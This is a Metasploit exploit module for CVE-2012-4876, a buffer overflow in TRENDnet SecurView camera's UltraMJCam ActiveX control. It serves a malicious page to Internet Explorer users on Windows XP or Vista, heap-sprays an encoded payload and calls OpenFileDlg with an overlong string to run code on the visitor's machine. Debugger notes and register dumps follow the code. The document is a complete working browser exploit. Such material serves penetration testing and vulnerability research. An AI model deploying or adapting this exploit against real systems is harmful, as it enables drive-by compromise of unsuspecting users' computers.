##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'           => "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in TRENDnet SecurView Internet
        Camera's ActiveX control.  By supplying a long string of data as the sFilter
        argument of the OpenFileDlg() function, it is possible to trigger a buffer
        overflow condition due to WideCharToMultiByte (which converts unicode back to)
        overwriting the stack more than it should, which results arbitrary code execution
        under the context of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rgod',   #Original discovery, PoC
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2012-4876' ],
          [ 'OSVDB', '80661' ],
          [ 'EDB', '18675' ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
          'StackAdjustment' => -3500,
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC'         => "seh",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
          [ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
          [ 'IE 7 on Windows Vista',  { 'Offset' => '0x600', 'Ret' => 0x30303030 } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-03-28',
      'DefaultTarget'  => 0))
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  #IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  #IE 7 on Windows XP SP3
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
      return targets[3]  #IE 7 on Windows Vista
    else
      return nil
    end
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    # Set payload depending on target
    p = payload.encoded

    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
    randnop = rand_text_alpha(rand(100) + 1)

    # Convert the pivot addr (in decimal format) to binary,
    # and then break it down to this printable format:
    # \x41\x41\x41\x41
    t = [my_target.ret].pack("V").unpack("H*")[0]
    target_ret = ''
    0.step(t.length-1, 2) do |i|
      target_ret << "\\x#{t[i, 2]}"
    end

    js = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x40000-6)/2);

    heap_obj.gc();

    for (var i=1; i < 0x1000; i++) {
      heap_obj.alloc(block);
    }

    var ret = "";
    for (i2=0; i2<30000; i2++) {
      ret = ret + "#{target_ret}";
    }
    obj.OpenFileDlg(ret);
    JS

    js = heaplib(js, {:noobfu => true})

    html = <<-EOS
    <html>
    <head>
    <script>
    </script>
    </head>
    <body>
    <object classid='clsid:707ABFC2-1D27-4A10-A6E4-6BE6BDF9FB11' id='obj'></object>
    <script>
    #{js}
    </script>
    </body>
    </html>
    EOS

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})

  end
end

=begin
bp 1000f952 "r; g"
bp kernel32!WideCharToMultiByte "r; dc poi(esp+c); .echo; g"

eax=023f4bf4 ebx=1006519c ecx=00000003 edx=0013a170 esi=00038ce0 edi=00000000
eip=7c80a164 esp=0013a130 ebp=0013a158 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
kernel32!WideCharToMultiByte:
7c80a164 8bff            mov     edi,edi
023f4bf4  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
023f4c04  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
023f4c14  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
023f4c24  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
023f4c34  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
023f4c44  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
023f4c54  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
023f4c64  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.

ChildEBP RetAddr
0013a12c 1000f958 kernel32!WideCharToMultiByte
WARNING: Stack unwind information not available. Following frames may be wrong.
0013a158 100211d0 UltraMJCamX+0xf958
0013e24c 77135cd9 UltraMJCamX!DllUnregisterServer+0xeb20
0013e26c 771362e8 OLEAUT32!DispCallFunc+0x16a
0013e2fc 10017142 OLEAUT32!CTypeInfo2::Invoke+0x234
0013e32c 100170e2 UltraMJCamX!DllUnregisterServer+0x4a92
0013e358 7deac999 UltraMJCamX!DllUnregisterServer+0x4a32
0013e398 7deacfaf mshtml!InvokeDispatchWithNoThis+0x78
0013e3d8 7deac9fc mshtml!COleSite::ContextInvokeEx+0x149
0013e40c 75c71408 mshtml!COleSite::ContextThunk_InvokeEx+0x44
0013e444 75c71378 jscript!IDispatchExInvokeEx2+0xac
0013e47c 75c76db3 jscript!IDispatchExInvokeEx+0x56
0013e4ec 75c710d8 jscript!InvokeDispatchEx+0x78
0013e534 75c6fab8 jscript!VAR::InvokeByName+0xba
0013e574 75c6efea jscript!VAR::InvokeDispName+0x43
0013e598 75c76ff4 jscript!VAR::InvokeByDispID+0xfd
0013e650 75c7165d jscript!CScriptRuntime::Run+0x16bd
0013e668 75c71793 jscript!ScrFncObj::Call+0x8d
0013e6d8 75c5da62 jscript!CSession::Execute+0xa7
0013e728 75c5e6e7 jscript!COleScript::ExecutePendingScripts+0x147

0:008> r
eax=78f8f8f8 ebx=1006519c ecx=020bc038 edx=0c0c0c0c esi=020bf4d0 edi=020c0000
eip=1003a0e9 esp=020bb140 ebp=020bf22c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
UltraMJCamX!DllUnregisterServer+0x27a39:
1003a0e9 8917            mov     dword ptr [edi],edx  ds:0023:020c0000=00905a4d


The only application-specific component loaded is UltraMJCamX.ocx, but this
can be unreliable and I'd rather not use that.
=end
